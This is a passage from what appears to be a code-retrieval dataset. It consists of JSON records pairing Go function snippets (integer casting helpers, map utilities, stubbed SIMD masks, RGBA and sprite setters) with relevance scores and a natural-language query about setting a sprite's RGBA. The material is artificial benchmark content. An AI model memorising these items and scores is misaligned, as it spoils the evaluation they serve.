"85556d03731d5a912eef502f5c2ac213", "score": "0.48518097", "text": "func MaskCmpltEpu16Mask(k1 x86.Mmask8, a x86.M128i, b x86.M128i) (dst x86.Mmask8) {\n\tpanic(\"not implemented\")\n}", "title": "" }, { "docid": "d6aed45207b8e370b576db13bb6f9388", "score": "0.48512042", "text": "func InitUint16(p *uint16, def uint16) (done bool) {\n\tif p == nil {\n\t\treturn false\n\t}\n\tif *p == 0 {\n\t\t*p = def\n\t}\n\treturn true\n}", "title": "" }, { "docid": "bacaa1caf600eca0b1c5ffb3aa682be7", "score": "0.4841631", "text": "func MapUint16Int16PtrErr(f func(*uint16) (*int16, error), list []*uint16) ([]*int16, error) {\n\tif f == nil {\n\t\treturn []*int16{}, nil\n\t}\n\tnewList := make([]*int16, len(list))\n\tfor i, v := range list {\n\t\tr, err := f(v)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tnewList[i] = r\n\t}\n\treturn newList, nil\n}", "title": "" }, { "docid": "8e1b46400ffdeaaa4de04bd7cfa5fcb6", "score": "0.48413527", "text": "func TestInt8(t *testing.T) {\n\t// Test success case\n\tvar successId int8\n\terr := v.Validate([]*v.Value{\n\t\t{Result: &successId, Name: \"id\", Input: \"20\"},\n\t})\n\tassert.Nil(t, err)\n\tassert.Equal(t, int8(20), successId)\n\n\t// Test empty case\n\tvar emptyId int8\n\terr = v.Validate([]*v.Value{\n\t\t{Result: &emptyId, Name: \"id\", Input: \"\"},\n\t})\n\tassert.NotNil(t, err)\n\n\t// Test empty case with IsSet rule\n\tvar emptyIsSetId int8\n\terr = v.Validate([]*v.Value{\n\t\t{Result: &emptyIsSetId, Name: \"id\", Input: \"\", Rules: []v.Rule{IsSet}},\n\t})\n\tassert.NotNil(t, err)\n\tassert.Equal(t, int8(0), emptyIsSetId)\n\n\t// Test overflow case\n\tvar overflowId int8\n\terr = v.Validate([]*v.Value{\n\t\t{Result: &overflowId, Name: \"id\", Input: \"128\"},\n\t})\n\tassert.NotNil(t, err)\n\tassert.Equal(t, int8(0), overflowId)\n\n\t// Test string case\n\tvar stringId int8\n\terr = v.Validate([]*v.Value{\n\t\t{Result: &stringId, Name: \"id\", Input: \"Hello World\"},\n\t})\n\tassert.NotNil(t, err)\n\tassert.Equal(t, int8(0), stringId)\n}", "title": "" }, { "docid": "507d43b904faa6e9e910ac72b2865508", "score": "0.483857", "text": "func (t *ArgToken) UnsignedConstant16() (constant uint16, ok bool) {\n\treturn uint16(t.constant), t.isConstant && (t.constant&0xffff0000) == 0\n}", "title": "" }, { "docid": "8db122934c93ef7e0a9c5b10a2b37b6c", "score": "0.48375663", "text": "func ToInt16Default(ptr *int16) int16 {\n\tvar defaultVal int16\n\tif ptr == nil {\n\t\treturn defaultVal\n\t}\n\treturn *ptr\n}", "title": "" }, { "docid": "1b295a8d9c5613d79ea687b3b1504c9f", "score": "0.48276326", "text": "func (v Value) OverflowInt(x int64) bool", "title": "" }, { "docid": "48174e7d439aa9766bec224fb6464898", "score": "0.48223683", "text": "func Uint16OrDefault(v *uint16, defaultVal uint16) *uint16 {\n\treturn helpy.DerefOrValue(v, defaultVal)\n}", "title": "" }, { "docid": "ee3ccde853ad86c08b8a2860dfabddc2", "score": "0.48151106", "text": "func MapBoolInt16PtrErr(f func(*bool) (*int16, error), list []*bool) ([]*int16, error) {\n\tif f == nil {\n\t\treturn []*int16{}, nil\n\t}\n\tnewList := make([]*int16, len(list))\n\tfor i, v := range list {\n\t\tr, err := f(v)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tnewList[i] = r\n\t}\n\treturn newList, nil\n}", "title": "" }, { "docid": "5cf9fc810965a41845500876a7f4f9d9", "score": "0.48146886", "text": "func MaskMinEpi16(src x86.M128i, k x86.Mmask8, a x86.M128i, b x86.M128i) (dst x86.M128i) {\n\tpanic(\"not implemented\")\n}", "title": "" }, { "docid": "8f29e9ac36df3357907bda9e8cfd6193", "score": "0.481128", "text": "func GetUint16Value(values url.Values, key string, def uint16) uint16 {\n\tvalueStr, ok := values[key]\n\tif !ok {\n\t\treturn def\n\t}\n\tv, err := strconv.ParseInt(valueStr[0], 10, 16)\n\tif err != nil {\n\t\treturn def // if not a valid uint16, return the default\n\t}\n\treturn uint16(v)\n}", "title": "" }, { "docid": "9acd155932f072b665f752e3f31250b4", "score": "0.48092976", "text": "func MapInt16PtrErr(f func(*int16) (*int16, error), list []*int16) ([]*int16, error) {\n\tif f == nil {\n\t\treturn []*int16{}, nil\n\t}\n\tnewList := make([]*int16, len(list))\n\tfor i, v := range list {\n\t\tvar err error\n\t\tnewList[i], err = f(v)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\treturn newList, nil\n}", "title": "" }, { "docid": "fcd1db9ee2ff2072157f63c5be9a1fe1", "score": "0.48017615", "text": "func toUint16E(i interface{}) (uint16, error) {\n\ti = indirect(i)\n\n\tswitch s := i.(type) {\n\tcase string:\n\t\tv, err := strconv.ParseUint(s, 0, 16)\n\t\tif err == nil {\n\t\t\treturn uint16(v), nil\n\t\t}\n\t\treturn 0, fmt.Errorf(\"unable to cast %#v to uint16: %s\", i, err)\n\tcase int:\n\t\tif s < 0 {\n\t\t\treturn 0, errNegativeNotAllowed\n\t\t}\n\t\treturn uint16(s), nil\n\tcase int64:\n\t\tif s < 0 {\n\t\t\treturn 0, errNegativeNotAllowed\n\t\t}\n\t\treturn uint16(s), nil\n\tcase int32:\n\t\tif s < 0 {\n\t\t\treturn 0, errNegativeNotAllowed\n\t\t}\n\t\treturn uint16(s), nil\n\tcase int16:\n\t\tif s < 0 {\n\t\t\treturn 0, errNegativeNotAllowed\n\t\t}\n\t\treturn uint16(s), nil\n\tcase int8:\n\t\tif s < 0 {\n\t\t\treturn 0, errNegativeNotAllowed\n\t\t}\n\t\treturn uint16(s), nil\n\tcase uint:\n\t\treturn uint16(s), nil\n\tcase uint64:\n\t\treturn uint16(s), nil\n\tcase uint32:\n\t\treturn uint16(s), nil\n\tcase uint16:\n\t\treturn s, nil\n\tcase uint8:\n\t\treturn uint16(s), nil\n\tcase float64:\n\t\tif s < 0 {\n\t\t\treturn 0, errNegativeNotAllowed\n\t\t}\n\t\treturn uint16(s), nil\n\tcase float32:\n\t\tif s < 0 {\n\t\t\treturn 0, errNegativeNotAllowed\n\t\t}\n\t\treturn uint16(s), nil\n\tcase bool:\n\t\tif s {\n\t\t\treturn 1, nil\n\t\t}\n\t\treturn 0, nil\n\tcase nil:\n\t\treturn 0, nil\n\tdefault:\n\t\treturn 0, fmt.Errorf(\"unable to cast %#v of type %T to uint16\", i, i)\n\t}\n}", "title": "" }, { "docid": "c8853e75abd92978dee0c79b9f1d93cd", "score": "0.47977692", "text": "func toInt16E(i interface{}) (int16, error) {\n\ti = indirect(i)\n\n\tswitch s := i.(type) {\n\tcase int:\n\t\treturn int16(s), nil\n\tcase int64:\n\t\treturn int16(s), nil\n\tcase int32:\n\t\treturn int16(s), nil\n\tcase int16:\n\t\treturn s, nil\n\tcase int8:\n\t\treturn int16(s), nil\n\tcase uint:\n\t\treturn int16(s), nil\n\tcase uint64:\n\t\treturn int16(s), nil\n\tcase uint32:\n\t\treturn int16(s), nil\n\tcase uint16:\n\t\treturn int16(s), nil\n\tcase uint8:\n\t\treturn int16(s), nil\n\tcase float64:\n\t\treturn int16(s), nil\n\tcase float32:\n\t\treturn int16(s), nil\n\tcase string:\n\t\tv, err := strconv.ParseInt(s, 0, 0)\n\t\tif err == nil {\n\t\t\treturn int16(v), nil\n\t\t}\n\t\treturn 0, fmt.Errorf(\"unable to cast %#v of type %T to int16\", i, i)\n\tcase bool:\n\t\tif s {\n\t\t\treturn 1, nil\n\t\t}\n\t\treturn 0, nil\n\tcase nil:\n\t\treturn 0, nil\n\tdefault:\n\t\treturn 0, fmt.Errorf(\"unable to cast %#v of type %T to int16\", i, i)\n\t}\n}", "title": "" } ]
eea055a9f7b8936c3c8b7df442e52ca8
SetRGBA will replace the rgba behind this sprite
[ { "docid": "78288d1bf5c01285d4f7496691dbff15", "score": "0.7772411", "text": "func (s *Sprite) SetRGBA(r *image.RGBA) {\n\ts.r = r\n}", "title": "" } ]
[ { "docid": "dd95b90786b22331fb674b2141e05fa2", "score": "0.7789464", "text": "func (me *Canvas) SetRGBA(r, g, b, a byte) {\n\tme.color = Color{Red: r, Green: g, Blue: b, Alpha: a}\n}", "title": "" }, { "docid": "2b99e777b7075a82ca7141e84f9e6cc9", "score": "0.7507897", "text": "func (img *BGRA) SetRGBA(x, y int, c color.RGBA) {\n\tc.R, c.B = c.B, c.R // flip to keep Bgra\n\timg.RGBA.SetRGBA(x, y, c)\n}", "title": "" }, { "docid": "a68530f4deb1625054e2d75b7022ee6f", "score": "0.6866889", "text": "func (dc *Context) SetRGBA(r, g, b, a float64) {\n\tdc.color = color.NRGBA{\n\t\tuint8(r * 255),\n\t\tuint8(g * 255),\n\t\tuint8(b * 255),\n\t\tuint8(a * 255),\n\t}\n\tdc.setFillAndStrokeColor(dc.color)\n}", "title": "" }, { "docid": "ea366485a9488d9b1e72e414a2c8fb17", "score": "0.6344699", "text": "func (d *LEDs) SetRGBA(i int, v RGBA) {\n\td.vals[i] = v\n}", "title": "" }, { "docid": "1a96e9f47002559fea3f1d422c72c565", "score": "0.6090368", "text": "func (dc *Context) SetRGBA255(r, g, b, a int) {\n\tdc.color = color.NRGBA{uint8(r), uint8(g), uint8(b), uint8(a)}\n\tdc.setFillAndStrokeColor(dc.color)\n}", "title": "" }, { "docid": "f7098766c8255e7cc5d8102cccb88fb7", "score": "0.60124403", "text": "func (oh *OverheadImage) SetAlpha(input float64) error {\n\tif err := validatePercent(input); err != nil {\n\t\treturn fmt.Errorf(\"SetOpacity Fail: %+v\", err)\n\t}\n\toh.Alpha = input\n\n\treturn nil\n}", "title": "" }, { "docid": "8202d56d2e891a92defbeda0e0c1e7c6", "score": "0.5905236", "text": "func (self *Image) SetTintedTextureA(member *Canvas) {\n self.Object.Set(\"tintedTexture\", member)\n}", "title": "" }, { "docid": "43968c80034f11fa8482277a376ecb0a", "score": "0.5874669", "text": "func (b *Background) SetSprite(s *pixel.Sprite) { b.sprite = s }", "title": "" }, { "docid": "c9e3d74cac82c184cc52c133cc5a82f1", "score": "0.5842869", "text": "func (color *Color) SetAlpha(alpha uint8) {\n\t*color = Color(uint32(*color&0x00ffffff) | (uint32(alpha) << 24))\n}", "title": "" }, { "docid": "3bab7ccc5b41aca9e697b0becaa327ae", "score": "0.58246934", "text": "func NewRGBA(r Rectangle) *RGBA {}", "title": "" }, { "docid": "aa08d306fd4d20429977ad4320ea73ba", "score": "0.5733805", "text": "func (v *Context) SetSourceRGBA(red, green, blue, alpha float64) {\n\tC.cairo_set_source_rgba(v.native(), C.double(red), C.double(green),\n\t\tC.double(blue), C.double(alpha))\n}", "title": "" }, { "docid": "8b2da872e2beae633b1fef3f73b5868e", "score": "0.5712659", "text": "func (i *imageData) SetTransparentColour(rgba *color.RGBA) {\n\ti.TransColour = encodeHexColour(rgba)\n}", "title": "" }, { "docid": "97621c0af45c108dd8e4c783098e1ffb", "score": "0.5688213", "text": "func (dc *Context) SetStrokeRGBA(r, g, b, a float64) {\n\tcolor := color.NRGBA{\n\t\tuint8(r * 255),\n\t\tuint8(g * 255),\n\t\tuint8(b * 255),\n\t\tuint8(a * 255),\n\t}\n\tdc.strokePattern = newSolidPattern(color)\n}", "title": "" }, { "docid": "d945803f6874541fd3b18c4a0395b6b8", "score": "0.55994296", "text": "func (c *BrokenColorMap) SetAlpha(v float64) {\n\tc.Base.SetAlpha(v)\n\tc.OverFlow.SetAlpha(v)\n}", "title": "" }, { "docid": "b2dd0ce9efaecd75b361685ecfd6a6b8", "score": "0.54595745", "text": "func (dc *DrawContext) DrawRGBA(n node, fg, bg *image.Uniform) (*image.RGBA, error) {\n\tif err := n.Layout(dc); err != nil {\n\t\treturn nil, fmt.Errorf(\"layout: %w\", err)\n\t}\n\tbounds := image.Rectangle{Max: image.Point{X: n.Bounds().Width.Ceil(), Y: n.Bounds().Height.Ceil()}}\n\n\tcanvas := image.NewRGBA(bounds)\n\tif bg != nil {\n\t\tdraw.Draw(canvas, bounds, bg, image.Point{}, draw.Over)\n\t}\n\tdc.out = canvas\n\n\tif fg == nil {\n\t\tdc.fg = image.NewUniform(color.Black)\n\t} else {\n\t\tdc.fg = fg\n\t}\n\terr := n.Draw(dc, fixed.Point26_6{}, bounds)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"draw: %w\", err)\n\t}\n\tdc.out = nil\n\treturn canvas, nil\n}", "title": "" }, { "docid": "f4e604d06391989ec11583e7a3d9bcc9", "score": "0.5457432", "text": "func (pixbuf Pixbuf) AddAlpha(substitute_color bool, r byte, g byte, b byte) Pixbuf {\n\tret0 := C.gdk_pixbuf_add_alpha(pixbuf.native(), C.gboolean(util.Bool2Int(substitute_color)) /*go:.util*/, C.guchar(r), C.guchar(g), C.guchar(b))\n\treturn wrapPixbuf(ret0)\n}", "title": "" }, { "docid": "c4c2426faac86dcf79a082948e0bb2b6", "score": "0.5437102", "text": "func (r *Rainbow) SetAlpha(alpha float64) {\n\tif alpha < 0 || alpha > 1 {\n\t\tpanic(alpha)\n\t}\n\tr.alpha = alpha\n}", "title": "" }, { "docid": "54ca6d30b54076660f98d1a3afc90012", "score": "0.54025173", "text": "func (self *Image) SetBlendModeA(member int) {\n self.Object.Set(\"blendMode\", member)\n}", "title": "" }, { "docid": "a2e7cec231fe72fbe1a5385404df8cd4", "score": "0.5335624", "text": "func (w *Writer) RGBA(x *color.RGBA) {\n\tval := uint32(x.R) | uint32(x.G)<<8 | uint32(x.B)<<16 | uint32(x.A)<<24\n\tw.Uint32(&val)\n}", "title": "" }, { "docid": "aeb18d7182ef971e12596c24cf61d2df", "score": "0.5326513", "text": "func (dc *Context) SetFillRGBA(r, g, b, a float64) {\n\tcolor := color.NRGBA{\n\t\tuint8(r * 255),\n\t\tuint8(g * 255),\n\t\tuint8(b * 255),\n\t\tuint8(a * 255),\n\t}\n\tdc.color = color\n\tdc.fillPattern = newSolidPattern(color)\n}", "title": "" }, { "docid": "155fd343b28b86f8a2a1882cf15fc53c", "score": "0.5324042", "text": "func colorRGBA(red, green, blue, alpha float64) {\n\tfmt.Printf(\"color rgba(%v,%v,%v,%v)\\n\", red, green, blue, alpha)\n}", "title": "" }, { "docid": "7c5076332424291f25849daf6a0513ed", "score": "0.5321111", "text": "func (s *Sprite) GetRGBA() *image.RGBA {\n\treturn s.r\n}", "title": "" }, { "docid": "7c846c7806dec6ae7e1e494834452dad", "score": "0.5317621", "text": "func (self *RenderTexture) SetFrame(frame *Rectangle) {\n self.Object.Call(\"setFrame\", frame)\n}", "title": "" }, { "docid": "4e1be5483d7697f21174f3a28e35f84b", "score": "0.52814627", "text": "func (s *Screen) Set(x uint16, y uint16, value color.Color) {\n\ts.texture.Set(x, y, rgb565.FromColor(value))\n}", "title": "" }, { "docid": "8b354be39fa1e70e9aebbac250448912", "score": "0.5272666", "text": "func (self *TraitCellView) SetBackgroundRgba(rgba *C.GdkRGBA) {\n\tC.gtk_cell_view_set_background_rgba(self.CPointer, rgba)\n\treturn\n}", "title": "" }, { "docid": "40cca9a40265a7fb9086935bc7102ffd", "score": "0.52447605", "text": "func (v *Pixbuf) AddAlpha(substituteColor bool, r, g, b uint8) *Pixbuf {\n\tc := C.gdk_pixbuf_add_alpha(v.native(), gbool(substituteColor), C.guchar(r), C.guchar(g), C.guchar(b))\n\n\tobj := &glib.Object{glib.ToGObject(unsafe.Pointer(c))}\n\tp := &Pixbuf{obj}\n\truntime.SetFinalizer(p, func(_ interface{}) { glib.FinalizerStrategy(obj.Unref) })\n\n\treturn p\n}", "title": "" }, { "docid": "18d46985fc9bbeeb07c90a3496f350f9", "score": "0.52430886", "text": "func (s *Sprite) Set(x, y int, c color.Color) {\n\ts.r.Set(x, y, c)\n}", "title": "" }, { "docid": "c00e3013c514aa37a328b150420af879", "score": "0.5237411", "text": "func RGBA(r, g, b, a float32) Color { return Color{sat8(r), sat8(g), sat8(b), sat8(a)} }", "title": "" }, { "docid": "a90671f9db445071f36784b275b29986", "score": "0.52024245", "text": "func (self *RenderTexture) SetFrameA(member *Rectangle) {\n self.Object.Set(\"frame\", member)\n}", "title": "" }, { "docid": "598ec30c609188df9b3e4f97da3a5114", "score": "0.51969975", "text": "func (g *GrayAlpha) Set(x, y int, c color.Color) {\n\tif !(image.Point{x, y}.In(g.Rect)) {\n\t\treturn\n\t}\n\tg.Pix[g.PixOffset(x, y)] = lcolor.GrayAlphaModel.Convert(c).(lcolor.GrayAlpha)\n}", "title": "" }, { "docid": "b91cbba80c3184b275c4d167652caf76", "score": "0.51623803", "text": "func ToRGBA(c color.Color, alpha float64) pixel.RGBA {\n\t//noAlpha := pixel.RGBA{R: 1, G: 1, B: 1, A: 0}\n\trgba := pixel.ToRGBA(c)\n\trgba.A = alpha\n\treturn rgba\n}", "title": "" }, { "docid": "f089bb2e27e6bb78b4afe6d9f02ab46e", "score": "0.5149555", "text": "func (r *RGB) Set(x, y int, c color.Color) {\n\tif !(image.Point{x, y}.In(r.Rect)) {\n\t\treturn\n\t}\n\trr, g, b, _ := c.RGBA()\n\tr.Pix[r.PixOffset(x, y)] = lcolor.RGB{\n\t\tR: uint8(rr >> 8),\n\t\tG: uint8(g >> 8),\n\t\tB: uint8(b >> 8),\n\t}\n}", "title": "" }, { "docid": "5112c81ef58d457551a22ec4d0e4f061", "score": "0.5132029", "text": "func (self *Image) SetTextureA(member *Texture) {\n self.Object.Set(\"texture\", member)\n}", "title": "" }, { "docid": "a4dc61cccf520e9b159b2f3d45ec7c9d", "score": "0.51287675", "text": "func (me RenderStates) SetBlending(newBlending bool) {\r\n\tif Cache.renderStates.Blending != newBlending {\r\n\t\tif Cache.renderStates.Blending = newBlending; Cache.renderStates.Blending {\r\n\t\t\tgl.Enable(gl.BLEND)\r\n\t\t} else {\r\n\t\t\tgl.Disable(gl.BLEND)\r\n\t\t}\r\n\t}\r\n}", "title": "" }, { "docid": "49294953cff94cd6189f98f7ab5e9185", "score": "0.5124457", "text": "func (w *Writer) VarRGBA(x *color.RGBA) {\n\tval := uint32(x.R) | uint32(x.G)<<8 | uint32(x.B)<<16 | uint32(x.A)<<24\n\tw.Varuint32(&val)\n}", "title": "" }, { "docid": "58dd90c449044614856ec88c06817853", "score": "0.51017094", "text": "func NewAlpha(r Rectangle) *Alpha {}", "title": "" }, { "docid": "a831befceac50c4f9e7f8c3a9326297c", "score": "0.5066713", "text": "func (s *SpriteRenderer) SetColor(r, g, b, a float32) {\n\ts.Color = &Image.Color{r, g, b, a}\n}", "title": "" }, { "docid": "d943193cdbd4597f8a3f79ebe3ffc731", "score": "0.50622797", "text": "func (p *RGBA) Opaque() bool {}", "title": "" }, { "docid": "0704f0da45997e144d1d302ffa3483f6", "score": "0.5059395", "text": "func (self *RenderTexture) SetBaseTextureA(member *BaseTexture) {\n self.Object.Set(\"baseTexture\", member)\n}", "title": "" }, { "docid": "7645091ab67dd3b3742d794b968ad667", "score": "0.502172", "text": "func (self *RenderTexture) SetNoFrameA(member bool) {\n self.Object.Set(\"noFrame\", member)\n}", "title": "" }, { "docid": "873a7e5dea1ed8dfbf2dba11d038699b", "score": "0.5018511", "text": "func (cp cacheRGBA) RGBA() (r, g, b, a uint32) {\n\tr = cp[0]\n\tg = cp[1]\n\tb = cp[2]\n\ta = 0xFFFF\n\treturn\n}", "title": "" }, { "docid": "237a87171878d3eb571170d3e013ed66", "score": "0.49910757", "text": "func (me *Canvas) SetRGB(r, g, b byte) {\n\tme.color = Color{Red: r, Green: g, Blue: b, Alpha: 255}\n}", "title": "" }, { "docid": "31893809b362014d229d54b6f82744f2", "score": "0.49707404", "text": "func (self *RenderTexture) SetRendererA(member interface{}) {\n self.Object.Set(\"renderer\", member)\n}", "title": "" }, { "docid": "54b3e41069f9174963d96c9f5136ee7f", "score": "0.49474508", "text": "func toRGBA(img image.Image) *image.RGBA {\n\tswitch img.(type) {\n\tcase *image.RGBA:\n\t\treturn img.(*image.RGBA)\n\t}\n\tout := image.NewRGBA(img.Bounds())\n\tdraw.Copy(out, image.Pt(0, 0), img, img.Bounds(), draw.Src, nil)\n\treturn out\n}", "title": "" }, { "docid": "8816772fc643d688f06c0143ec851040", "score": "0.49277303", "text": "func (d *GIFDisplay) SetPixel(x, y int) {\n\td.currentFrame.Set(x, y, color.White)\n}", "title": "" }, { "docid": "bc350fb293384ba9506798049ed30423", "score": "0.49244595", "text": "func (p *NRGBA) Opaque() bool {}", "title": "" }, { "docid": "e96356fe59a39ee27dccaaa002bad91c", "score": "0.49226546", "text": "func (self *Image) SetTintA(member int) {\n self.Object.Set(\"tint\", member)\n}", "title": "" }, { "docid": "187a02713fce2892920fbac92aaeb88f", "score": "0.48786172", "text": "func (t *Tex) GetRGBA() *image.RGBA {\n\treturn t.rgba\n}", "title": "" }, { "docid": "d435de6e9a91f31ebb309788b52f961e", "score": "0.4873201", "text": "func (g *GrayAlpha) SetGrayAlpha(x, y int, ga lcolor.GrayAlpha) {\n\tif !(image.Point{x, y}.In(g.Rect)) {\n\t\treturn\n\t}\n\tg.Pix[g.PixOffset(x, y)] = ga\n}", "title": "" }, { "docid": "5dc64d5db250801e0acb7c25de0b0df4", "score": "0.4872309", "text": "func rgba(img *image.RGBA, x, y int) (r uint8, g uint8, b uint8, a uint8) {\n\trect := img.Rect\n\tstride := img.Stride\n\tpixelPosition := (y-rect.Min.Y)*stride + (x-rect.Min.X)*4\n\n\tr = img.Pix[pixelPosition+0]\n\tg = img.Pix[pixelPosition+1]\n\tb = img.Pix[pixelPosition+2]\n\ta = img.Pix[pixelPosition+3]\n\n\treturn\n}", "title": "" }, { "docid": "3cd465249cde4365351b13b94db9139f", "score": "0.48515037", "text": "func (v *Context) PaintWithAlpha(alpha float64) {\n\tC.cairo_paint_with_alpha(v.native(), C.double(alpha))\n}", "title": "" }, { "docid": "df453731b5557c803e35a55f0ff229a8", "score": "0.48475933", "text": "func NewRGBA(r, g, b, a byte) Color {\n\treturn Color{r: r, g: g, b: b, a: a}\n}", "title": "" }, { "docid": "8cd53df3427696375e9a44278d7385c2", "score": "0.48231193", "text": "func (self *RenderTexture) SetGameA(member *Game) {\n self.Object.Set(\"game\", member)\n}", "title": "" }, { "docid": "f5ac0ecbe8577769512affc8d835e8f2", "score": "0.48061708", "text": "func (s *Sprite) Modify(ms ...mod.Mod) Modifiable {\n\tfor _, m := range ms {\n\t\ts.r = m(s.GetRGBA())\n\t}\n\treturn s\n}", "title": "" }, { "docid": "04f9a03d242ee192c8183f17504439c2", "score": "0.47970715", "text": "func (b *UIRenderer) SetSprite(sprite *SliceSprite) {\n\t//Flush previous sprites\n\tif sprite != b.sprite && b.sprite != nil {\n\t\tb.flush()\n\t}\n\n\t//Setup the new sprite\n\tb.sprite = sprite\n}", "title": "" }, { "docid": "bc42061862dcf932aed687ef1cbc751d", "score": "0.47899154", "text": "func (state *GraphicsState) SetAlphaNonStroking(nonStrokingAlpha float32) {\n\tif nonStrokingAlpha >= 0.0 && nonStrokingAlpha <= 1.0 {\n\t\tstate.nonStrokingAlpha = nonStrokingAlpha\n\t}\n}", "title": "" }, { "docid": "c42f824526ab53f0f57b2fdadfeeb2bc", "score": "0.47798574", "text": "func NewNRGBA(r Rectangle) *NRGBA {}", "title": "" }, { "docid": "9c56b4e2aad579ace8807e108392e0f3", "score": "0.4771698", "text": "func (me RenderStates) EnableBlending() {\r\n\tif !Cache.renderStates.Blending {\r\n\t\tCache.renderStates.Blending = true\r\n\t\tgl.Enable(gl.BLEND)\r\n\t}\r\n}", "title": "" }, { "docid": "7e181e2ffa025a5aea90f29213e83193", "score": "0.4745919", "text": "func (self *Image) SetTexture(texture *Texture) {\n self.Object.Call(\"setTexture\", texture)\n}", "title": "" }, { "docid": "fcb925d6ca8e032f62bba877d6f6402d", "score": "0.47458476", "text": "func (l *Light) SetColor(r, g, b float64) { l.R, l.G, l.B = r, g, b }", "title": "" }, { "docid": "068bb3eb89eeb7f784cd56c7c52cd9f7", "score": "0.47352168", "text": "func (c Color) WithAlpha(a uint8) Color {\r\n\tc.A = a\r\n\treturn c\r\n}", "title": "" }, { "docid": "95906d538380e9ef8a1e32dac7f64554", "score": "0.47255886", "text": "func (p *RGBAM) Set(x, y int, c color.Color) {\n\tif !(image.Point{x, y}.In(p.Rect)) {\n\t\treturn\n\t}\n\ti := p.PixOffset(x, y)\n\tc1 := p.Model.Convert(c).(npcolor.RGBAM)\n\tp.Pix[i+0] = c1.R\n\tp.Pix[i+1] = c1.G\n\tp.Pix[i+2] = c1.B\n\tp.Pix[i+3] = c1.A\n}", "title": "" }, { "docid": "c3b72e389dc013e354bcb4ace183093d", "score": "0.47163528", "text": "func (m *CustomImg) Set(x, y int, c color.Color) {\n\tm.setColor[image.Point{x, y}] = c\n}", "title": "" }, { "docid": "cf9ae927508b23cfcf2b04adfc93bc8a", "score": "0.47108835", "text": "func setopacity(doc *fpdf.Fpdf, v float64) {\n\tswitch {\n\tcase v < 0:\n\t\tdoc.SetAlpha(0, \"Normal\")\n\tcase v > 0:\n\t\tdoc.SetAlpha(v/100, \"Normal\")\n\tcase v == 0:\n\t\tdoc.SetAlpha(1, \"Normal\")\n\t}\n}", "title": "" }, { "docid": "c814c534fbe7e186683283f82cc514f7", "score": "0.46818992", "text": "func (w *Window) SetOpacity(opacity float32) {\n\tC.glfwSetWindowOpacity(w.data, C.float(opacity))\n}", "title": "" }, { "docid": "7fc627fe192e2352e87dce58658890fa", "score": "0.46577233", "text": "func (ml MetalLayer) SetOpaque(opaque bool) {\n\tml.metalLayer.Send(objc.RegisterName(\"setOpaque:\"), opaque)\n}", "title": "" }, { "docid": "1d399df26d253c1dba8b7135b0ba24e8", "score": "0.4656708", "text": "func (dc *Context) SetRGB255(r, g, b int) {\n\tdc.SetRGBA255(r, g, b, 255)\n}", "title": "" }, { "docid": "cae8abad6201eb9446f0d50a4ddae896", "score": "0.46290275", "text": "func (r *RGB) SetRGB(x, y int, rgb lcolor.RGB) {\n\tif !(image.Point{x, y}.In(r.Rect)) {\n\t\treturn\n\t}\n\tr.Pix[r.PixOffset(x, y)] = rgb\n}", "title": "" }, { "docid": "f93d1265298178105b3b86166acb78a2", "score": "0.46271247", "text": "func (a ArrayF32) SetColor(pos int, v *Color) {\n\n\ta[pos] = v.R\n\ta[pos+1] = v.G\n\ta[pos+2] = v.B\n}", "title": "" }, { "docid": "36836bd856639f0a475bf775e1ac950e", "score": "0.46238297", "text": "func (s *Sprite) Draw(screen *ebiten.Image, alpha float64) error {\n\tif s.op == nil {\n\t\treturn errors.New(\"add a &ebiten.DrawImageOptions{} to s.op\")\n\t}\n\ts.op.ColorM.Scale(1, 1, 1, alpha)\n\tif s.isLarger {\n\t\ts.err = screen.DrawImage(s.imageLarger, s.op)\n\t\treturn s.err\n\t}\n\ts.err = screen.DrawImage(s.image, s.op)\n\treturn s.err\n}", "title": "" }, { "docid": "d5653a934dd279dfc055ed41920a8428", "score": "0.46126515", "text": "func RGBA(c color.Color) color.RGBA {\n\tr, g, b, a := c.RGBA()\n\treturn color.RGBA{uint8(r), uint8(g), uint8(b), uint8(a)}\n}", "title": "" }, { "docid": "350d5412bbece31f2bd6305abe696c7e", "score": "0.45940128", "text": "func (f *Framebuffer) SetTexture(attachment uint32, t *Texture, level int32) {\n\tf.Bind()\n\tgl.FramebufferTexture(f.target, attachment, t.id, level)\n}", "title": "" }, { "docid": "cd045d8b0daee2d7fdc60600d65feb68", "score": "0.458613", "text": "func Blend(img draw.Image, x int, y int, c color.Color) {\n\tdst := ColorToRGBA(img.At(x, y))\n\tsrc := ColorToRGBA(c)\n\n\tfmt.Println(\"dst:\", dst, \"src:\", src)\n\n\talpha := src.A + dst.A*(1-src.A)\n\tr := (src.R + dst.R*(1-src.A))\n\tg := (src.G + dst.G*(1-src.A))\n\tb := (src.B + dst.B*(1-src.A))\n\n\tcol := color.RGBA{R: r, G: g, B: b, A: alpha}\n\tfmt.Println(\"col:\", col)\n\n\timg.Set(x, y, col)\n}", "title": "" }, { "docid": "0b842e69b7fea2be80cd3a263b0dffac", "score": "0.45821646", "text": "func (self *RenderTexture) SetHeightA(member int) {\n self.Object.Set(\"height\", member)\n}", "title": "" }, { "docid": "1cdd2571b6f5acc582909ccc0d6764ff", "score": "0.45818275", "text": "func BlendDestinationAtopRGBA(Sr, Sg, Sb, Sa uint32, Dr, Dg, Db, Da uint32, _ float64, destinationAlpha bool) (R, G, B, A uint32) {\n\tR = destinationAtop(Sr, Dr, Sa, Da)\n\tG = destinationAtop(Sg, Dg, Sa, Da)\n\tB = destinationAtop(Sb, Db, Sa, Da)\n\tif destinationAlpha {\n\t\tA = Da\n\t} else {\n\t\tA = destinationAtop(Sa, Da, Sa, Da)\n\t}\n\treturn\n}", "title": "" }, { "docid": "e5e738249cbc5b872302e1a5545e96cc", "score": "0.45791396", "text": "func (c Color) RGBA() (r, g, b, a uint32) {\n\tr = uint32(c.R)\n\tr |= r << 8\n\tg = uint32(c.G)\n\tg |= g << 8\n\tb = uint32(c.B)\n\tb |= b << 8\n\ta = uint32(c.A)\n\ta |= a << 8\n\treturn\n}", "title": "" }, { "docid": "9f63b2b97787350e0888b8461fa4538c", "score": "0.457682", "text": "func (self *RenderTexture) SetRequiresReTintA(member bool) {\n self.Object.Set(\"requiresReTint\", member)\n}", "title": "" }, { "docid": "d63d57516fa864a8e80b21e7e43019f5", "score": "0.4571705", "text": "func (c RGBAf32) RGBA() (r, g, b, a uint32) {\n\tr = uint32(c.R*65535.0 + 0.5)\n\tg = 